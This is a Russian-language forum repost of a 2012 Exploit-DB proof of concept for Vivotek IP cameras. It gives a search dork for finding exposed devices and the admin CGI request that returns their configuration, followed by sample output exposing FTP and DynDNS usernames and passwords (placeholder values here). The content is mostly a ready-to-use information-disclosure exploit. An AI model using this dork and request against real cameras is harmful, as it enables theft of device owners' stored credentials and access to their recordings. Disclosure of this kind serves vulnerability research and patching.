Exploit Vivotek Cameras - Sensitive Information Disclosure

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
19859
Проверка EDB
  1. Пройдено
Автор
GOTHICX
Тип уязвимости
WEBAPPS
Платформа
HARDWARE
CVE
null
Дата публикации
2012-07-16
Vivotek Cameras - Sensitive Information Disclosure
Код:
 Exploit Title: Vivotek Full Data Source CONFIG
# Date: 09/07/12
# Author: Alejandro Leon Morales  [GothicX]
# Author Mail: Gothicx[at]freaknetwork[dot]in 
# Author Web: www.undermx.blogspot.mx
# Sofware web: www.vivotek.com
# Vulnerable version: all 
# Tested on:  Microsoft windows 7 / Vista / XP/ MacOS
# Dork:    "/setup/config.html"  ||allinurl:"setup/parafile.html"

 
[PoC]
 
http://server/cgi-bin/admin/getparam.cgi 


[INFO SENSIBLE]

ACCOUNT FTP
ACCOUNT DYNDNS 

[Result]

ddns_enable='1'
ddns_provider='DyndnsDynamic'
ddns_Safe100_hostname=''
ddns_Safe100_usernameemail=''
ddns_Safe100_passwordkey=''
ddns_DyndnsDynamic_hostname='hostname'
ddns_DyndnsDynamic_usernameemail='usernameemail'
ddns_DyndnsDynamic_passwordkey='passwordkey'
ddns_DyndnsCustom_hostname=''
ddns_DyndnsCustom_usernameemail=''
ddns_DyndnsCustom_passwordkey=''
ddns_TZO_hostname=''
ddns_TZO_usernameemail=''
ddns_TZO_passwordkey=''
ddns_DHS_hostname=''
ddns_DHS_usernameemail=''
ddns_DHS_passwordkey=''
ddns_DynInterfree_hostname=''
ddns_DynInterfree_usernameemail=''
ddns_DynInterfree_passwordkey=''
ddns_CustomSafe100_hostname=''
ddns_CustomSafe100_usernameemail=''
ddns_CustomSafe100_passwordkey=''
ddns_CustomSafe100_servername=''
server_i0_type='ftp'
server_i0_http_url='http://'
server_i0_http_username=''
server_i0_http_passwd=''
server_i0_ftp_address='FTPADDRESS'
server_i0_ftp_username='FTPUSERNAME'
server_i0_ftp_passwd='FTPPASSWD'
server_i0_ftp_port='21'
server_i0_ftp_passive='1'
server_i0_ftp_location='\\temp\\record'
----------------------------------------------------------------------------------------------------


[Sensitive data]

FTP ACCOUNTS:  server_i0_ftp_address='FTPADDRESS'
                                 server_i0_ftp_username='FTPUSERNAME'
                                 server_i0_ftp_passwd='FTPPASSWD'

DYNDNS ACCOUNTS: ddns_DyndnsDynamic_hostname='hostname'
                                         ddns_DyndnsDynamic_usernameemail='usernameemail'
                                         ddns_DyndnsDynamic_passwordkey='passwordkey'




//*************************************************************************************//
                                    Special Greetz: Maztor, Zeus, Klanx, Makuaz, Alverid, zer0 z0org
 
Источник
www.exploit-db.com

Похожие темы